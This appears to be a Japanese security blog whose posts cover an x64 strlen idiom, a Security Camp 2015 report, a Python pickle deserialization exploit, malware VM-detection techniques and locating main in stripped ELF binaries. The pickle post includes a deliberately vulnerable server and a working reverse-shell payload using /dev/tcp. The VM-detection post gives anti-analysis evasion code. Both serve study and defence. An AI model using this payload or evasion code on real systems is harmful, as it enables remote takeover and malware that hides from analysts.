asmでスマートに文字列の長さを算出する

文字列の長さを算出

以下のasmコード(x64)で、文字列の長さを取得することができる。

mov      eax, 0x0
mov      rcx, 0xffffffffffffffff
repnz    scas al, BYTE PTR es:[rdi]
not      rcx 
lea      rcx, [rcx - 1] // dec rcxでも可

x86がいい人は適宜読みかえて欲しい。

解説

repnz/repneはcmps、 scas命令に付加されるプリフィックスで、(r,e)cxレジスタをカウンタとして使用し、カウンタが0になるか ZFフラグが1になるまで繰り返すというものである。repeat not zeroと読めば覚えやすい。上のコードではscas命令に付加されている。

scas命令はオペランドで指定された文字をサイズに応じてal、ax、eax、raxレジスタと比較し、結果によってEFLAGSレジスタを変更するというものである。scan stringと読めば覚えやすい。上のコードではmov eax, 0x0によってalが0(終端文字)となっているので文字が終端文字がどうかを確認している。

これでrepnzプレフィックスとscas命令によって文字列がどこで終わるかをカウンタによって数えていると分かる。rcxレジスタに0xffffffffffffffffという大きい値が入っているのは、文字列の長さより小さいカウンタによってループが終了しないようにするためである。

not命令でカウンタの減算分をrcxにいれているのだが、ここが少しわかりにくい。各bitが立っている状態から減算していくと、結果の各bitを反転させると減算分を求めることができる。例えば、0xff(1111 1111)から2を引くと0xfd(1111 1101)となる。これを反転させると0x2(0000 0010)となり減算分が分かる。これを利用してカウンタの減算分を算出している。

最後に、rep系の命令はrcxのデクリメント後にEFLAGSレジスタをチェックするので、rcxレジスタをlea rcx, [rcx - 1] もしくは、dec rcxによってデクリメントする必要がある。インクリメントではないのはrcxにカウンタの減算分が入っているからだ。デクリメントすることで文字列の長さがrcxレジスタに格納された。

まとめ

もっと愚直に書くこともできるが、repnzプレフィックスとscas命令、not命令によってスマートに文字列の長さを求められる。reversing中に上記のコードが出てきたときはさくっと読んでいきたい。

しゃろさんに指摘をもらって修正した。ありがとうございました!!

セキュリティ・キャンプ 全国大会 2015 行ってきた!!

8/11 から 8/15 までセキュリティ・キャンプ 全国大会 2015 に行ってました。

セキュリティ・キャンプとは

宿泊費、参加費無料でガチプロの講師の講義が受けれるとてもナイスなイベントです。主に解析トラックの講義を受けてきました。

セキュリティ・キャンプは、サイバーセキュリティの脅威が高まる現代において、ITに対する意識の高い若者に対し、サイバーセキュリティおよびプログラミングに関する高度な教育を実施することで、技術面のみならずモラル面、セキュリティ意識、職業意識、自立的な学習意識等の向上を図り、日本における将来の高度IT人材となり得る優れた人材の発掘と育成を目的としております。

「セキュリティ・キャンプ全国大会2015」:IPA 独立行政法人 情報処理推進機構

f:id:TAKEmaru:20150811104405j:plain

なんか今年からはオープンになったみたいで講義資料がぼちぼち公開されているので、興味のある方は見るといいのではないでしょうか。
セキュリティ・キャンプ全国大会2015資料まとめ - 葉っぱ日記


参加直後の感想


まじめな感想

めっちゃ有名な講師の講義受けたり、アナライジング・マルウェア岩村さんのサインを頂いたり、他の参加者とか講師の方々と交流したりしてめっちゃ有意義な時間を過ごせました。アナライジング・マルウェア以外の本を持って行ってなくてそれらにサインをもらえなかったのが唯一の心残りです。


今回セキュキャンに参加して、ようやくスタートラインに立てたかなあと思うので、偉大な卒業生や講師の方々に追いつけるよう精進して圧倒的成長wを遂げて行きたいです。

1回行ったら、もう参加者としては参加できない(泣)ので次はチューターとして参加しようと思います!!

運営のみなさま、5日間ありがとうございました!!!

Pythonの外部入力をunpickle化することによる脆弱性を検証した

背景

@inaz2氏のツイートでこの脆弱性を知り、exploitを書くに至った。

unpickleによる脆弱性

Pythonには、listやdictなどのオブジェクトをバイトストリームに変換するためのpickleという標準モジュールがあり、オブジェクトをバイトストリームに変換することをpickle化、バイトストリームからオブジェクトに変換することをunpickle化という。
このライブラリはセキュリティを考慮しておらず、どんなデータに対してもコンストラクタを実行してしまうので、外部からの入力をunpickle化すると脆弱性となってしまう。

公式ドキュメントにも次のように書かれている。

pickle モジュールはエラーや不正に生成されたデータに対するセキュリティを
考慮していません。
信頼できない、あるいは認証されていないソースから受信したデータを 
unpickle してはいけません。


また、実際に以下のような脆弱性の実例があった。
JVNDB-2015-002286 - JVN iPedia - 脆弱性対策情報データベース
JVNDB-2014-007928 - JVN iPedia - 脆弱性対策情報データベース

自作ソケットサーバーのシェルを取ってみる

外部入力をunpickleすることによる脆弱性を含んだ自作ソケットサーバーに対してexploitを実行しシェルを取る。
cPickleはc言語で書くことによって高速化されたpickleモジュールであり、ほぼpickleモジュールと動作は同一である。

ソケットサーバーのコード

#! /usr/local/bin/python2.7
# coding: UTF-8

import cPickle
import SocketServer


class TCPServer(SocketServer.TCPServer):

    def __init__(self, server_address, RequestHandlerClass):
        SocketServer.TCPServer.__init__(self, server_address, RequestHandlerClass)


class VulnerableTCPHandler(SocketServer.BaseRequestHandler):

    def handle(self):
        self.request.sendall('connected\n')

        self.received = self.request.recv(1024).strip()
        print('Received:{0}\n'.format(self.received))

        self.result = cPickle.loads(self.received)
        self.request.sendall('Server received')
        print('Sent: Server received\n')


if __name__ == "__main__":

    HOST, PORT = "localhost", 9999
    print('Vulnerable server starts...')
    print('Host:    {0}'.format(HOST))
    print('Port:    {0}'.format(PORT))

    server = TCPServer((HOST, PORT), VulnerableTCPHandler)
    server.serve_forever()

exploitのコード

unpickle化された時にreverse shellを行うコマンドを実行するデータを送信するexploitを書いた。reverse shellとは、リモートで待ち受けている先に接続しに行くシェルのことである。__reduce__メソッドを用いて、unpickle化時にどのような文字列またはタプルを返すかを定義している。

#!/usr/bin/env python2.7
# coding: UTF-8

import cPickle
import socket
import os


class GetShell(object):
    def __reduce__(self):
        return (os.system, ('/bin/sh </dev/tcp/localhost/50001 >&0 2>&0',))


payload = cPickle.dumps(GetShell())

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect(('localhost', 9999))

print soc.recv(1024)

soc.send(payload)

print soc.recv(1024)

実行例

起動したソケットサーバーにpayloadを送り込む。

$ python vulnpicklepayload.py
connected
$ python vulnpickleserver.py 
Vulnerable server starts...
Host:    localhost
Port:    9999
Received:cposix
system
p1
(S'/bin/sh </dev/tcp/localhost/50000 >&0 2>&0'
p2
tp3
Rp4
.

サーバーからシェルが接続してくるのをncで待ち受ける。

$ nc -l 50000
ls
vulnpicklepayload.py
vulnpickleserver.py

pwd
/Users/tkmru/document/code

exit

シェルをリモートから操作できるようになった。

対策

外部入力をシリアライズするときにpickleを用いず、JSONを代わりに用いることで この脆弱性は消せる。

VMの検知について

マルウェアを解析する際にはVMで解析を行うことが多いので、VMを検知してアンチデバッキングするマルウェアが存在する。それらが用いる手法についてまとめた。

1. TSCを用いる

 TSC(IA32_TIME_STAMP_COUNTER_MSR: TSC_MSR)とは、CPUクロックごとに加算される64bitのタイムスタンプカウンタであり、これを RDTSC(Read Time Stamp Counter)命令を使って読み出すことで、CPUクロックと同じ分解能を持つ精度のタイマを使うことができる。

CPUクロックに基づく相対時刻の計測

 このタイマを用いて、VMとホストマシンで実行した時の時間差を確認することでVMを検知できる。以下のコードはwin上のgccで動作する。

# include <stdio.h>

int main(void) {

    unsigned int time1 = 0;
    unsigned int time2 = 0;
    
    __asm__(
        "RDTSC\n\t"
        "MOV %0, %%EAX\n\t"
        "RDTSC\n\t"
        "MOV %1, %%EAX\n\t"
        : "=&r" (time1)
        : "r" (time2)
    );

    if ((time2 - time1) > 100) {
        printf("%s", "VM detected");
        _exit(-1);
    }

    printf("%s", "VM not present");

    return 0;
}

2. レジストリを見る

 Windows レジストリのHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum 0の値を見ると、ディスクの名前とIDが分かり、これがVMwareやVBOXなどの値を含んでいるため、VMを検知できる。

 HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum\0の値に、SCSI\Disk&Ven_VMware_&Prod_VMware_Virtual_S&Rev_1.0\4XXXXXXや、IDE\DiskVBOX_HARDDISK___________________________1.0_____\4XXXXXXを含めば、VM上で動いている。以下のコードはpython2.7.8で動作する。

# coding: UTF-8

import _winreg

handle = _winreg.OpenKey(
        _winreg.HKEY_LOCAL_MACHINE,
        'SYSTEM\\CurrentControlSet\\Services\\Disk\\Enum'
        )

try:
    reg_val = _winreg.QueryValueEx(handle, '0')[0]

    if "VMware" in reg_val:
        print "Vmware Detected"
    elif "VBOX" in reg_val:
        print "Virtualbox Detected"

finally:
    _winreg.CloseKey(handle)

3. CPUコア数の確認

 VMのデフォルトでのCPUコア数は1つになっている。今どき、CPUコア数が1つの物理マシンなんてないのでCPUコア数を確認することでVMを検知できる。

# coding: UTF-8

import multiprocessing

if multiprocessing.cpu_count() == 1:
    print 'maybe VM'
else:
    print 'real machine?'

設定からVMのコア数は変えられるので、このアンチデバッキングは簡単に回避できる。

4. ディスク容量の確認

 VMのディスク容量は物理マシンに比べすくないことが多いので、ディスク容量を確認することでVMを検知できる。以下のコードは100GB以下の場合はVMとしている。

# coding: UTF-8

import os

def GetDiskSpaceForWin(drive):
    from ctypes import c_ulonglong, windll, byref

    free_bytes_available       = c_ulonglong()
    total_number_of_bytes      = c_ulonglong()
    total_number_of_free_bytes = c_ulonglong()
    
    windll.kernel32.GetDiskFreeSpaceExA(
        drive,
        byref(free_bytes_available),
        byref(total_number_of_bytes),
        byref(total_number_of_free_bytes)
    )

    total_number_of_gigabytes = total_number_of_bytes.value / (1024 ** 3)

    return total_number_of_gigabytes


if __name__ == '__main__':
    disk_space = 0

    if os.name == 'nt':
        disk_space = GetDiskSpaceForWin('C:')

    elif os.name == 'posix':
        statvfs = os.statvfs('/')
        disk_space = statvfs.f_frsize * statvfs.f_blocks / (1024 ** 3)

    if disk_space < 100:
        print 'maybe VM'
    else:
        print 'real machine?'

ディスクの容量上、割り当てられる上限があるので、VMの設定を変更するだけでは検知を逃れるのは厳しい。

5. VMwareバックドアI/Oポートを用いる

 VMwareにはゲストOSとホストOSとの間で情報をやりとりするために存在する VMwareバックドアI/Oポートという仕組みがあるので、その存在を確認することで、VMを検知できる。

 mac上のVirtualBoxを使っているため、環境がないので実装は省略する。アナライジング•マルウェアの3.6章に詳しく載っているので見て欲しい。

6. IDT、LDTアドレスの確認

 CPU1コアにつき、IDT(Interrupt Descriptor Table)という割り込みや例外発生時に呼び出す関数のテーブルが割り当てられる。このアドレスは物理マシンと仮想マシンで違うので、VMの検知につかえる。この手法はシングルプロセッサが用いられていれば有効だが、マルチプロセッサ化が進んだ現在では、IDTはコアごとに存在するので、この手法を使うのはむずかしい。

 LDT(Local Descriptor Table)とは、特権変更のためのメモリーテーブルである。各セグメントのベースアドレスやアクセス権、サイズなど。これのセグメントセレクタの値が物理マシンと仮想マシンで違うので、VMの検知につかえる。物理マシンの場合は0が、仮想マシンの場合はそれ以外の値が入っている。

これらもアナライジング•マルウェアの3.6章に詳しく載っているので見て欲しい。

シンボルがないELFバイナリのmain関数を特定する

まず、以下のコードをgccコンパイルして、main関数のシンボルを確かめる。

#include <stdio.h>

int main() {
    printf("test\n");
}
$ objdump -d a.out|grep main
0000000000400420 <__libc_start_main@plt>:
  400464: e8 b7 ff ff ff    callq  400420 <__libc_start_main@plt>
000000000040052d <main>:

stripコマンドでmain関数のシンボルを削ると、main関数がないように見える。

$ strip --strip-unneeded a.out
$ objdump -d a.out|grep main
0000000000400420 <__libc_start_main@plt>:
  400464: e8 b7 ff ff ff    callq  400420 <__libc_start_main@plt>

しかし、__libc_start_mainの第1引数がmain関数のアドレスとなっているので、main関数は簡単に特定できる。

$ objdump -d a.out|grep main -B5
...
  40044d: 50                    push  %rax
  40044e: 54                    push  %rsp
  40044f: 49 c7 c0 b0 05 40 00  mov  $0x4005b0,%r8
  400456: 48 c7 c1 40 05 40 00  mov  $0x400540,%rcx
  40045d: 48 c7 c7 2d 05 40 00  mov  $0x40052d,%rdi 
  // 0x40052dがmain関数のアドレス
  400464: e8 b7 ff ff ff        callq  400420 <__libc_start_main@plt>